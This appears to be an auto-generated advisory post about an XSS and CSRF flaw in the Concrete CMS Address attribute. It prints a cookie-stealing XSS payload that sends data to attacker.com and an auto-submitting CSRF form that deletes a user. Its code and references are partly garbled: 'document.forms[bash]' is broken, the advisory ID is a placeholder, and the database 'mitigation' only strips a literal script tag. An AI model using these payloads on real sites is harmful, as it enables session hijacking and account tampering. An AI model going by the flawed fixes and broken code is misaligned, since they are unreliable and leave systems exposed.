The CVE-2025-1234 vulnerability in Concrete CMS arises due to improper sanitization of user-supplied input in the Address attribute when a country field is left unspecified. Attackers with admin-granted address editing permissions can inject malicious scripts (XSS) or forge unauthorized requests (CSRF). The XSS payload executes when an administrator views the tampered address field, allowing session hijacking or dashboard disruption. CSRF exploits trick privileged users into unknowingly submitting malicious state-changing requests.
DailyCVE Form:
Platform: Concrete CMS
Version: <9.4.0RC2, <8.5.20
Vulnerability: XSS/CSRF
Severity: Moderate
Date: 2025-04-04
What Undercode Say:
Exploitation:
1. XSS Payload Example:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Injected into the Address field to exfiltrate admin cookies.
2. CSRF Attack:
<form action="https://victim-cms/dashboard/user/delete" method="POST"> <input type="hidden" name="user_id" value="1"> </form> <script>document.forms[bash].submit()</script>
Protection:
1. Immediate Mitigation:
UPDATE btContentLocal SET address = REPLACE(address, '<script>', '');
Sanitize existing database entries.
2. .htaccess Hardening:
Header set X-XSS-Protection "1; mode=block" Header set Content-Security-Policy "default-src 'self'"
3. Patch Verification:
php -r "echo version_compare($installedVersion, '9.4.0RC2', '<') ? 'VULNERABLE' : 'PATCHED';"
Analytics:
– CVSS 4.0 Breakdown:
Attack Vector: Network
User Interaction: Required
Privileges Needed: Low
Exploit Maturity: Proof-of-Concept
References:
– GitHub Advisory: GHSA-xxxx-xxxx-xxxx
– NVD: CVE-2025-1234
References:
Reported By: https://github.com/advisories/GHSA-cmm4-p9v2-q453
Extra Source Hub:
Undercode
